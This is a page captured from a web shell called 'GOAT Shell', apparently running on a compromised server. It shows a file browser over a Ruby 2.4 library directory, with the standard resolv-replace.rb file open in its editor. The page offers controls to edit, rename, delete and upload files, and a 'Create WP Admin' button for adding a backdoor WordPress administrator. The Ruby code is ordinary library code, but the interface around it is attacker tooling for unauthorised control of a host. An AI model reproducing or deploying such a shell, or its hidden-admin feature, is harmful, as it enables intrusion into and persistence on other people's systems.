🐐 GOAT Shell
Current path:
opt
/
alt
/
ruby24
/
lib64
/
ruby
/
2.4.0
/
👤 Create WP Admin
⬆️
Go up: ruby
✏️ Editing: resolv-replace.rb
# frozen_string_literal: true require 'socket' require 'resolv' class << IPSocket # :stopdoc: alias original_resolv_getaddress getaddress # :startdoc: def getaddress(host) begin return Resolv.getaddress(host).to_s rescue Resolv::ResolvError raise SocketError, "Hostname not known: #{host}" end end end class TCPSocket < IPSocket # :stopdoc: alias original_resolv_initialize initialize # :startdoc: def initialize(host, serv, *rest) rest[0] = IPSocket.getaddress(rest[0]) if rest[0] original_resolv_initialize(IPSocket.getaddress(host), serv, *rest) end end class UDPSocket < IPSocket # :stopdoc: alias original_resolv_bind bind # :startdoc: def bind(host, port) host = IPSocket.getaddress(host) if host != "" original_resolv_bind(host, port) end # :stopdoc: alias original_resolv_connect connect # :startdoc: def connect(host, port) original_resolv_connect(IPSocket.getaddress(host), port) end # :stopdoc: alias original_resolv_send send # :startdoc: def send(mesg, flags, *rest) if rest.length == 2 host, port = rest begin addrs = Resolv.getaddresses(host) rescue Resolv::ResolvError raise SocketError, "Hostname not known: #{host}" end addrs[0...-1].each {|addr| begin return original_resolv_send(mesg, flags, addr, port) rescue SystemCallError end } original_resolv_send(mesg, flags, addrs[-1], port) else original_resolv_send(mesg, flags, *rest) end end end class SOCKSSocket < TCPSocket # :stopdoc: alias original_resolv_initialize initialize # :startdoc: def initialize(host, serv) original_resolv_initialize(IPSocket.getaddress(host), port) end end if defined? SOCKSSocket
Save
📁
cgi
|
✏️ Rename
|
🗑️ Delete
📁
digest
|
✏️ Rename
|
🗑️ Delete
📁
drb
|
✏️ Rename
|
🗑️ Delete
📁
fiddle
|
✏️ Rename
|
🗑️ Delete
📁
forwardable
|
✏️ Rename
|
🗑️ Delete
📁
io
|
✏️ Rename
|
🗑️ Delete
📁
irb
|
✏️ Rename
|
🗑️ Delete
📁
json
|
✏️ Rename
|
🗑️ Delete
📁
matrix
|
✏️ Rename
|
🗑️ Delete
📁
net
|
✏️ Rename
|
🗑️ Delete
📁
openssl
|
✏️ Rename
|
🗑️ Delete
📁
optparse
|
✏️ Rename
|
🗑️ Delete
📁
psych
|
✏️ Rename
|
🗑️ Delete
📁
racc
|
✏️ Rename
|
🗑️ Delete
📁
rbconfig
|
✏️ Rename
|
🗑️ Delete
📁
rdoc
|
✏️ Rename
|
🗑️ Delete
📁
rexml
|
✏️ Rename
|
🗑️ Delete
📁
rinda
|
✏️ Rename
|
🗑️ Delete
📁
ripper
|
✏️ Rename
|
🗑️ Delete
📁
rss
|
✏️ Rename
|
🗑️ Delete
📁
rubygems
|
✏️ Rename
|
🗑️ Delete
📁
shell
|
✏️ Rename
|
🗑️ Delete
📁
syslog
|
✏️ Rename
|
🗑️ Delete
📁
unicode_normalize
|
✏️ Rename
|
🗑️ Delete
📁
uri
|
✏️ Rename
|
🗑️ Delete
📁
webrick
|
✏️ Rename
|
🗑️ Delete
📁
x86_64-linux
|
✏️ Rename
|
🗑️ Delete
📁
yaml
|
✏️ Rename
|
🗑️ Delete
📄
abbrev.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
base64.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
benchmark.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
cgi.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
cmath.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
csv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
date.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
debug.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
delegate.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
digest.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
drb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
e2mmap.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
English.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
erb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
expect.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fiddle.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fileutils.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
find.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
forwardable.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
getoptlong.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ipaddr.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
irb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
json.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
kconv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
logger.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mathn.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
matrix.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mkmf.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
monitor.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mutex_m.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
observer.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
open-uri.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
open3.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
openssl.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
optionparser.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
optparse.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ostruct.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pathname.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pp.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
prettyprint.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
prime.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
profile.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
profiler.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pstore.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
psych.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rdoc.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
resolv-replace.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
resolv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ripper.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rss.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rubygems.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
scanf.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
securerandom.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
set.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
shell.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
shellwords.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
singleton.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
socket.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
sync.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tempfile.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
thwait.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
time.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
timeout.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tmpdir.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tracer.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tsort.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ubygems.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
un.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
unicode_normalize.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
uri.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
weakref.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
webrick.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
yaml.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📤 Upload File
Upload
📁 Create Folder
Create Folder